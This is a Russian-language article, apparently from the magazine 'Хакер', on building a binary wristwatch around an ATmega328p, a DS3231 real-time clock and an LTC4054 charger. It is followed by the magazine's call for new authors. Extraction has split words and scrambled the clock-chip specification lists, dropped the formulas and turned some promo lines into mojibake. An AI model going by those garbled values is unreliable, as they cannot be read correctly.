тоди ода для отоб ражения часов и шесть све тоди одов — для минут. Фор мат
вре мени будет две над цатича совой.

INFO

На слу чай,  если  ты  забыл,  как  перево дить  чис ла
из дво ичной сис темы счис ления в десятич ную:

ПОДБОР МИКРОСХЕМ
Ос новной  этап  в  соз дании  и  про екти рова нии  любого  устрой ства — под бор
мик росхем, и бинар ные часы не исклю чение. Для меня глав ные кри терии —
ком пак тность  кор пуса,  дос таточ ное  количес тво  ног,  ток  пот ребле ния  и  нап‐ 
ряжение питания, поэто му мой выбор в ито ге пал на кон трол лер 
ком пании Microchip.

ATmega328p

Кон трол лер ATmega328p

Для  пос тро ения  часов  нам  необ ходима  мик росхе ма  часов  реаль ного  вре‐ 
мени  (RTC  —  real  time  clock)  —  это  вид  мик росхем,  пред назна чен ных
для  отсче та  вре мени  в  «реаль ных»  еди ницах  (секун ды,  минуты,  часы).  Они
зависи мы  от  источни ка  питания,  который  может  быть  как  внеш ним,  в  виде
смен ной  батареи  или  лити ево го  акку муля тора,  так  и  встро енным  в  кор пус
мик росхе мы.

Так товые сиг налы для отсче та вре мени получа ют с внеш него  квар цевого
резона тора,  а  реже —  из  пита ющей  элек тро сети.  Точ ность  отсче та  как  раз
и  зависит  от  качес тва  и  точ ности  нас трой ки  внут ренне го  генера тора
или внеш него квар цевого резона тора. При этом точ ность квар ца и RTC ука‐ 
зыва ется не в гер цах и не в про цен тах, а в parts per million (количес тво мил‐ 
лион ных час тей от какой‐то сред ней величи ны):  ,  .±12 ppm ±50 ppm

Ча сы  реаль ного  вре мени  мож но  реали зовать  на  осно ве  мик рокон трол‐ 
лера, одна ко если исполь зовать спе циаль ный чип,  то это сни зит энер гопот‐ 
ребле ние:  боль шинс тво  мик рокон трол леров  даже  в  спя щем  режиме  (или
режиме понижен ного энер гопот ребле ния) пот ребля ют боль ше энер гии, чем
спе циаль ные интеграль ные мик росхе мы.

Имен но  бла года ря  часам  реаль ного  вре мени  на  тво ем  компь юте ре
не сби вает ся вре мя и дата пос ле его отклю чения от сети. В этом слу чае они
работа ют  от  батарей ки  CR2032,  уста нов ленной  в  разъ еме  на  материн ской
пла те. Она же и пита ет мик росхе му BIOS, что бы не сби вались выс тавлен ные
в BIOS нас трой ки.

Рас смот рим самые рас простра нен ные мик росхе мы RTC (DS1302, DS1307,
DS3231).

DS13071. 

1 Гц, 4,096 кГц, 8,192 кГц, 32,768 кГцЧастота: 

за висит от квар ца — обыч но зна чение дос тига‐ 
ет  2,5  с  в  сут ки,  добить ся  точ ности  выше  одной  секун ды
в сут ки невоз можно. Так же точ ность зависит от тем перату ры

Точность: 

I2CПоддерживаемые протоколы: 

DS13022. 

32,768 кГцЧастота: 

5 с в сут киТочность: 

I2C, SPIПоддерживаемые протоколы: 

DS32313. 

один выход на 32,768 кГц;  вто рой SQW — прог‐ 
рамми руемый от 1 Гц до 8,192 кГц
Частота: 

±2  ppm  при  тем перату рах  от  0  до  40  °C; 
 при тем перату рах от 40 до 85  °C. Точ ность изме‐ 

рения тем перату ры ±3 °C

Точность: 

±3,5 ppm

I2CПоддерживаемые протоколы: 

Я  выб рал  RTC  DS3231.  Для  работы  мик росхе мы  часов  ей  необ ходим  квар‐ 
цевый  резона тор  (или  прос то  кварц).  В  модели  DS3231  кварц  уже  встро ен
в кор пус, поэто му такой вари ант боль ше под ходит для наруч ных часов.

На ши часы дол жны быть наруч ными, а зна чит, мы рас счи тыва ем на авто‐ 
ном ность  и  наличие  акку муля тора.  Поэто му  мы  перехо дим  к  выбору  мик‐ 
росхе мы кон трол лера заряда для акку муля тора.

Прин ципи аль ная схе ма под клю чения

Важ ная деталь: кон трол леров раз ряда‐заряда не сущес тву ет. Глав ная опас‐ 
ность — перераз ряд, но, что бы избе жать его, при меня ют защиту от глу боко го
раз ряда. А вот кон трол лер заряда — это неотъ емле мая часть любого заряд‐ 
ного устрой ства для лити ево го акку муля тора.

Пос ле раз мещения основных ком понен тов на пла те мес та оста лось нем‐ 
ного. Поэто му, ког да мне приш лось выбирать кон трол лер заряда для АКБ, я
взял  мини атюр ную  мик росхе му  LTC4054.  Она  поз воля ет  заряжать  током
до  800  мА,  к  тому  же  схе ма  обвязки  содер жит  минимум  ком понен тов:  два
резис тора, один кон денса тор и один све тоди од.

Из  минусов  этой  мик росхе мы  я  могу  отме тить,  что  она  силь но  наг рева‐ 
ется, но в этом слу чае встро енная защита от перег рева сни жает ток.

Прин ципи аль ная схе ма под клю чения

Для под клю чения и исполь зования кон трол лера заряда LTC4054 нам понадо‐ 
бят ся сле дующие ком понен ты:

вход ной кон денса тор емкостью 1 мкФ типораз мера 0805;•
то коза дающий резис тор 0805,  соп ротив ление  которо го рас счи таем поз‐ 
же;

•

све тоди од  0805  с  токо огра ничи вающим  резис тором  типораз‐ 
мера 0805 на 680 Ом.

•

Ток заряда рас счи тыва ется по сле дующим фор мулам:

Так как V  ≈ 1 В, мож но исполь зовать упро щен ные фор мулы:PROG

Не кото рые при меры рас чета:

I, мА R, кОм

100 10

212 4,7

500 2

770 1,3

Ос новные  ком понен ты  для  сбор ки  часов  выб рали.  Теперь  мож но  про екти‐ 
ровать печат ную пла ту и делать кор пус.

Продолжение статьи →



ЧАСЫ ДЛЯ ГИКА
ПОДБИРАЕМ КОМПОНЕНТЫ И МАСТЕРИМ

БИНАРНЫЕ ЧАСЫ

GEEK  НАЧАЛО СТАТЬИ←

ИЗГОТОВЛЕНИЕ ПЛАТЫ И КОРПУСА
Что бы изго товить кор пус для часов, необ ходимо сде лать пла ту, выб рать нуж‐ 
ные кноп ки, акку муля тор и уже по реаль ным раз мерам про екти ровать кор пус.

Пер вая вер сия пла ты

Эта вер сия пла ты не вклю чала в себя мик росхе му часов реаль ного вре мени,
вре мя я под счи тывал самим кон трол лером. Не было и спя щего режима в про‐ 
шив ке: све тоди оды прос то вык лючались, и такая схе ма слиш ком быс тро раз‐ 
ряжала акку муля тор — 300 мА ⋅ ч при мер но за три дня. Поэто му я решил раз‐ 
работать  новую  схе му  с  исполь зовани ем  модуля  часов  реаль ного  вре мени
и  режимом  сна.  Нажима ешь  кноп ку —  кон трол лер  выходит  из  режима  сна,
показы вает текущее вре мя и ухо дит обратно в сон. На мой взгляд, это опти‐ 
маль ная схе ма работы: часы с таким же АКБ работа ют от одно го заряда при‐ 
мер но месяц.

Вто рая вер сия пла ты

Во вто рой вер сии пла ты исполь зовал ся кон трол лер заряда для АКБ  .
Он был вынесен за пре делы кор пуса часов в свой кейс на шну ре заряд ки.

TP4056

Это ока залось неудоб но: часы мож но было заряжать толь ко этим кабелем.
Так что появи лась третья вер сия пла ты, куда был встро ен кон трол лер заряда

.LTC4054

Третья вер сия

Нас трой ка и работа часов

За тем я соз дал эскиз и проб ные вари анты кор пусов.

Эс киз часов

Еще один эскиз

3D‐модель

Фи наль ный  вари ант  кор пуса  я  напеча тал  на  3D‐прин тере  из  плас тика  PETG
и  прик рыл  с  двух  сто рон  нер жаве ющи ми  плас тинами.  На  вер хней  плас тине
над каж дым све тоди одом выг равиро ваны чис ла, которые облегча ют перевод
из дво ичной сис темы в десятич ную.

Но на этом я не оста новил ся и решил сде лать еще одну вер сию. Я перера‐ 
ботал  всю  пла ту,  даже  перери совал  ее  с  нуля,  добавил  све тоди од  RGB
для отоб ражения уров ня заряда.

Вот что получи лось

Я  спро екти ровал  и  изго товил  новый  кор пус,  в  котором  для  заряд ки  часов
исполь зует ся маг нитный кабель, часть кабеля с маг нитом вкле ена в кор пус.

В золотис том акри ле выг равиро ваны циф ры, а для рав номер ности под свет ки
я исполь зовал све торас сеивающую плен ку, которую вытащил из ста рой мат‐ 
рицы  ноут бука.  Так же  над  пла той  зафик сирова на  плас тинка  с  про резя ми
для  каж дого  све тоди ода,  что бы  сосед ние  све тоди оды  не  зас вечива ли  друг
дру га.

Свер ху  эта  конс трук ция  нак рыва ется  полуп розрач ным  плас тиком,  вырезан‐ 
ным из чех ла для телефо на, что бы в вык лючен ном сос тоянии на экра не часов
ничего не было вид но. На мой взгляд, это при дает закон ченный вид устрой‐ 
ству и дела ет его похожим на завод ское.

РЕЗУЛЬТАТ
Итак, готовые бинар ные часы!

Ча сы получи лись ком пак тны ми и спо соб ными работать без под заряд ки око ло
месяца.

WWW

•Ар хив  с  пла тами,  чер тежами  и  моделя ми  кор‐ 
пусов

Ис поль зован ные  детали,  инс тру мен ты  и  про чие
упо мяну тые в статьи вещи:
•Кноп ки
•АКБ
•Еще кноп ки
•RGB‐све тоди од
•Мик росхе ма часов реаль ного вре мени
•Че хол для телефо на
•Муль титул для часов
•Шпиль ки для часов



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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